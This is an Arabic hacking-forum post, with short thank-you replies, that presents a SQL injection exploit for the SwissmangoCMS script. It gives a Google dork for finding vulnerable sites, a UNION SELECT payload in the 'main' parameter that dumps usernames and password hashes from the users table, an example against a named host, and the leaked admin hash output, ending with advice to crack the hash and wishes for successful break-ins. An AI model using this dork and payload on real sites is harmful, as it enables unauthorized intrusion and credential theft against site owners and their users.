ثغرة في سكربت SwissmangoCMS

[MATRIX ALGERIA]

السلام عليكم اخوتي العناكب اليوم انشاء جئت لكم بثغرة جديدة
نبدا بسم الله
ندخل موقع قوقل

www.google.com

نقوم بالبحث عن

inurl:/index.php?main=

الاستغلال

666+and+1=2+union+select+concat_ws(0x3a,userName,userPass)+from+users--

مثال

http://dev.swissmango.com/index.php?main=666+and+1=2+union+select+concat_ws
(0x3a,userName,userPass)+from+users--

وطلع لنا الاتي

SELECT navParent FROM navigation WHERE navID = admin:1a1dc91c907325c69271ddf0c944bc72
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ':1a1dc91c907325c69271ddf0c944bc72' at line 1

يعني ان المعلومات هكذا
admin:1a1dc91c907325c69271ddf0c944bc72
ماعليك الا فك الهاش واختراقات موفقة

الموضوع اصلي : الشبكة العنكبوتية الاحترافية نرجو حفظ الحقوق

 

[Antivirus7]

الله يعطيك العافية اخي ​

 

[KaLa$nikoV]

مشكور ع الطرح لاهنت

 

[T3BaN_HaCkEr]

يسلموووو على الثغرة

يعطيك الف عافيه

 

[MATRIX ALGERIA]

مشكورين على المرور والتشجيع

 

[M!M0]

مشكووور على الطرح